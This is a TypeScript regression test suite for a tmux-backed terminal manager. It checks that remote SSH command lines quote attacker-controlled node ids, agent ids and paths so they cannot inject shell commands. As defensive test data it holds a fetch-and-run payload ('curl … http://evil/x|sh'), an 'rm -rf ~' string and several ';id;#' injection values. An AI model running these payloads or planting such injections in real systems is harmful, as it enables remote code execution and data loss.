Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
import { describe, expect, it } from 'vitest'
import {
remoteHookEnvArgs,
remotePaneOwnerCombinedArgs,
remoteTmuxPtyArgs
} from './control-master'
import { COMBINED_PANE_MARKER, PANE_OWNER_FMT, PS_FOREGROUND_FLAGS } from '../agents/pane-owner'
import { accountTmuxEnvArgs } from '../claude-accounts-core'
import { remoteTmuxPathPrologue } from '../../shared/ssh'
/**
* SECURITY REGRESSION TEST — remote command injection through a node id.
*
* `remoteTmuxPtyArgs` builds ONE SHELL LINE that `ssh -t` hands to the remote user's login shell.
* Everything in it is `posixQuote`d except, until this fix, the `extraEnv` `-e KEY=VALUE` pairs,
* which carry the RAW React Flow node id (`remoteHookEnvArgs` → `NODETERM_NODE_ID=<id>`) and the
* managed-account config dir. A node id lives in `.nodeterm/project.json`, a file that travels in
* a cloned/shared repo and is written on remote hosts — i.e. it is attacker-supplied data. The
* proven payload was:
*
* tmux -L node-terminal new-session -A -e NODETERM_HOOK_ENDPOINT=/ep \
* -e NODETERM_NODE_ID=n1;curl${IFS}http://evil/x|sh;# … -s 'nt-n1' -c '/home/u'
*
* where the `;` ends the tmux command and the rest runs as the SSH user the moment the victim
* opens that node. The LOCAL path was never exposed: it spawns tmux with an argv array, and
* `sessionName()` sanitises the session name to `[A-Za-z0-9_-]` anyway.
*
* The assertion is therefore about SHELL STRUCTURE, not about a substring: parse the line the way
* `sh` would and require that (a) no metacharacter survives outside single quotes and (b) the whole
* payload lands as ONE literal argv element. Delete the quoting in `remoteTmuxPtyArgs` and both
* halves fail.
*/
/** Every character that is command STRUCTURE to a POSIX shell when it appears unquoted. */
const META = '|&;<>()$`"\n\r*?[]{}!#~\\'
/**
* Parse a remote command line the way `sh` would: single quotes are literal, whitespace splits
* words. Returns the resulting argv plus every metacharacter that survived OUTSIDE single quotes —
* a non-empty `unquotedMeta` means the line carries shell structure the caller did not intend.
*/
function shellParse(cmd: string): { argv: string[]; unquotedMeta: string[] } {
const argv: string[] = []
const unquotedMeta: string[] = []
let cur = ''
let started = false
let inQuote = false
const flush = (): void => {
if (started) argv.push(cur)
cur = ''
started = false
}
for (let i = 0; i < cmd.length; i++) {
const ch = cmd[i]
if (inQuote) {
// Inside '…' every byte is literal, including metacharacters, until the closing quote.
if (ch === "'") inQuote = false
else cur += ch
continue
}
if (ch === "'") {
inQuote = true
started = true
continue
}
// A backslash OUTSIDE quotes escapes the next byte — it is how `posixQuote` re-enters a single
// quote (`'\''`), so it is data, not structure, and must not be counted as a metacharacter.
if (ch === '\\' && i + 1 < cmd.length) {
cur += cmd[++i]
started = true
continue
}
if (ch === ' ' || ch === '\t') {
flush()
continue
}
if (META.includes(ch)) unquotedMeta.push(ch)
cur += ch
started = true
}
flush()
return { argv, unquotedMeta }
}
const conn = { host: 'h.example.com', user: 'deploy', port: 2222, identityFile: '/k/id' }
/**
* Every shell escape an attacker gets from a project.json node id, in one string.
*
* `$'`, `` $` ``, `$&` and `$$` are here for a SECOND reason and must not be dropped: they are
* `String.prototype.replace` REPLACEMENT PATTERNS. The first version of this fix quoted correctly
* and then passed the quoted string as `replace`'s string argument, where `$'` expands to the text
* FOLLOWING the match — splicing `-s '<session>' -c '<cwd>' …` inside the token and inverting its
* quote parity. Quoting is not enough on its own; how the quoted bytes are spliced matters too.
*/
const PAYLOAD =
"n1;curl${IFS}http://evil/x|sh;#`id`$(id)&&rm -rf ~\nwhoami\r'quote'\"dq\"$'$`$&$$"
/**
* Values that land AFTER the `-e` pairs in the built line — the region a replacement-pattern
* escape would drag inside the quotes. They are hostile ON PURPOSE and must stay that way: pinning
* them benign is exactly what let the `$'` defect pass a green suite. All three come from the same
* `.nodeterm/project.json` as the node id.
*/
const HOSTILE_CWD = '/srv/app;id;#'
const HOSTILE_PROGRAM_ARGS = ['--resume', 'sess;id;#']
/**
* The shell structure a line carries, as one comparable string. The interactive builder now
* DELIBERATELY emits structure of its own — the PATH-append prologue and the tmux-missing
* `if/else` fallback (issue #449) — so "zero unquoted metacharacters" is no longer the invariant.
* The invariant that survives is stronger where it matters: the structure is CONSTANT — byte-for-
* byte identical whatever the attacker-controlled values are. A payload that broke out of its
* quotes (or a replacement-pattern splice that inverted quote parity downstream) changes the
* structure and fails the comparison, exactly as `toEqual([])` failed before.
*/
const structureOf = (line: string): string => shellParse(line).unquotedMeta.join('')
/** A benign twin of the pty-args call: same shape, harmless values. */
const benignPtyStructure = (withEnv: boolean, program?: string, programArgs?: string[]): string =>
structureOf(
remoteTmuxPtyArgs(
conn,
'/s.sock',
'nt-n1',
'/home/u',
program,
programArgs,
withEnv ? remoteHookEnvArgs('/home/u/.nodeterm/hook-endpoint-p1.env', 'n1', '1', 'claude') : [],
withEnv ? '/home/u/.nodeterm/tmux.conf' : undefined
).at(-1) as string
)
describe('remoteTmuxPtyArgs: an attacker-controlled node id is DATA, never command structure', () => {
it('the parser itself sees structure in an UNQUOTED payload (guards the assertion)', () => {
// Without this the test could pass because the parser is blind rather than because the code
// quotes. Feed it the pre-fix shape by hand and require it to notice.
const bad = shellParse(`tmux new-session -A -e NODETERM_NODE_ID=${PAYLOAD} -s 'nt-n1'`)
expect(bad.unquotedMeta.length).toBeGreaterThan(0)
})
it('splices the hook env pairs as literal single arguments (node id payload and all)', () => {
const args = remoteTmuxPtyArgs(
conn,
'/s.sock',
'nt-n1',
HOSTILE_CWD,
'claude',
HOSTILE_PROGRAM_ARGS,
remoteHookEnvArgs('/home/u/.nodeterm/hook-endpoint-p1.env', PAYLOAD, '1', 'claude'),
'/home/u/.nodeterm/tmux.conf'
)
const cmd = args[args.length - 1]
const { argv } = shellParse(cmd)
// (a) the payload contributed NO command structure: the line's structure is byte-identical to
// a benign twin's (the constant prologue + fallback structure the builder itself emits).
expect(structureOf(cmd)).toBe(
benignPtyStructure(true, 'claude', ['--resume', 'sess-benign'])
)
// (b) the payload is ONE argument, verbatim — tmux gets it as an env value, sh never sees it.
expect(argv).toContain(`NODETERM_NODE_ID=${PAYLOAD}`)
// (c) the region AFTER the splice is intact too: a replacement-pattern escape (`$'`) would
// have dragged these inside the quotes and turned their `;` into command structure.
expect(argv).toContain(HOSTILE_CWD)
expect(argv).toContain('sess;id;#')
// and the command still carries exactly one tmux invocation with the expected shape (the
// PATH prologue + tmux-missing fallback now precede it, so the head is indexOf, not slice).
const t = argv.lastIndexOf('tmux') // the guard's `command -v tmux` also carries the word
// The socket is the probed one (`sessionSocketProbe`), a shell word — never a spliced name.
expect(argv.slice(t, t + 3)).toEqual(['tmux', '-L', '"$_nts"'])
expect(argv.filter((a) => a === 'new-session')).toHaveLength(1)
expect(argv).toContain('nt-n1')
})
it("an agent id carrying a $' replacement pattern cannot invert the rest of the line", () => {
// The exact reviewer PoC shape: the NODE ID is legitimate, the escape rides another
// project.json field (`node.data.agentId`) into the same splice.
const args = remoteTmuxPtyArgs(
conn,
'/s.sock',
'nt-term-mabc-3',
HOSTILE_CWD,
undefined,
undefined,
remoteHookEnvArgs('/home/u/.nodeterm/hook-endpoint-p1.env', 'term-mabc-3', '1', "claude$'"),
'/home/u/.nodeterm/tmux.conf'
)
const line = args[args.length - 1]
const { argv } = shellParse(line)
expect(structureOf(line)).toBe(benignPtyStructure(true))
expect(argv).toContain("NODETERM_AGENT_ID=claude$'")
expect(argv).toContain(HOSTILE_CWD)
})
it('quotes the managed-account CLAUDE_CONFIG_DIR pair too (same splice, same file provenance)', () => {
// `accountId` and the remote `$HOME` both reach this splice; neither is quoted by its producer.
const args = remoteTmuxPtyArgs(conn, '/s.sock', 'nt-n1', '/home/u', undefined, undefined, [
...accountTmuxEnvArgs('/home/u/.nodeterm/claude-accounts/a;id;b')
])
const line = args[args.length - 1]
const { argv } = shellParse(line)
expect(structureOf(line)).toBe(
structureOf(
remoteTmuxPtyArgs(conn, '/s.sock', 'nt-n1', '/home/u', undefined, undefined, [
...accountTmuxEnvArgs('/home/u/.nodeterm/claude-accounts/benign')
]).at(-1) as string
)
)
expect(argv).toContain('CLAUDE_CONFIG_DIR=/home/u/.nodeterm/claude-accounts/a;id;b')
})
it('leaves a benign node id readable in the argv (the quoting is not lossy)', () => {
const args = remoteTmuxPtyArgs(conn, '/s.sock', 'nt-term-1', '/srv/app', undefined, undefined, [
'-e',
'NODETERM_HOOK_ENDPOINT=/home/u/.nodeterm/hook-endpoint-p1.env',
'-e',
'NODETERM_NODE_ID=term-mabc-3'
])
const { argv } = shellParse(args[args.length - 1])
expect(argv).toContain('-e')
expect(argv).toContain('NODETERM_NODE_ID=term-mabc-3')
expect(argv).toContain('NODETERM_HOOK_ENDPOINT=/home/u/.nodeterm/hook-endpoint-p1.env')
// The `-e` pairs still sit between `-A` and `-s`, where tmux requires them.
const i = argv.indexOf('-A')
const s = argv.indexOf('-s')
expect(argv.indexOf('NODETERM_NODE_ID=term-mabc-3')).toBeGreaterThan(i)
expect(argv.indexOf('NODETERM_NODE_ID=term-mabc-3')).toBeLessThan(s)
})
})
/**
* The pane-ownership read's SSH leg — since issue #460 ONE combined script, so the injection
* questions moved: the session id is spliced unquoted into a script the remote login shell
* PARSES (refused at the splice unless it is a name this app generated), the format string must
* reach the remote tmux verbatim inside single quotes, and the tty never crosses back into OUR
* command line at all — it is cut from the reply inside the same shell and only ever expanded
* QUOTED, behind a `/dev/*` guard.
*/
describe('remotePaneOwnerCombinedArgs: one script, every splice accounted for', () => {
it('refuses a session id this app could not have generated — nothing is built at all', () => {
for (const sid of [
`nt-x;${PAYLOAD}`,
'nt-x; kill-server',
'nt-$(id)',
'nt-`id`',
"nt-x' -t other",
''
]) {
expect(() => remotePaneOwnerCombinedArgs(conn, '/s.sock', sid)).toThrow(/paste target/)
}
})
it('sends the format to the REMOTE tmux verbatim, single-quoted, behind the PATH prologue', () => {
const script = remotePaneOwnerCombinedArgs(conn, '/s.sock', 'nt-n1').at(-1) as string
const prologue = remoteTmuxPathPrologue()
expect(script).toContain(prologue)
expect(prologue).not.toContain("'")
// The CONSTANT, not a copy of it — "verbatim" is the property under test, so it is compared
// against the thing the local leg actually sends, quoted so the remote shell hands tmux the
// string rather than parsing its metacharacters ({, }, |).
expect(script).toContain(`display-message -p -t '=nt-n1:' '${PANE_OWNER_FMT}'`)
expect(PANE_OWNER_FMT).toMatch(/[{}|]/)
})
it('expands the reply-derived tty only QUOTED, behind a /dev/* guard, with the shared ps flags', () => {
const script = remotePaneOwnerCombinedArgs(conn, '/s.sock', 'nt-n1').at(-1) as string
// The tty is data the remote host prints back; it stays inside the remote shell as "$tty" —
// there is no unquoted expansion for it to become structure through.
expect(script).toContain('case "$tty" in /dev/*)')
expect(script).toContain(`ps ${PS_FOREGROUND_FLAGS.join(' ')} -t "$tty"`)
// EVERY `$tty` expansion in the script is the quoted form — zero bare occurrences (the
// assignments expand `$o`/`${tty%%|*}`, not `$tty`).
expect(script.split('$tty').length).toBe(script.split('"$tty"').length)
expect(script).toContain('tty=${o#*|}')
// The identity line is fenced by the marker through a QUOTED printf format — a word-initial
// unquoted ## is an sh comment and would print an empty line (session-memory's measured trap).
expect(script).toContain(`"${COMBINED_PANE_MARKER.trimEnd()} $o"`)
// A failed tmux read aborts the exec (caller answers null), never half-answers.
expect(script).toContain('|| exit 9')
})
})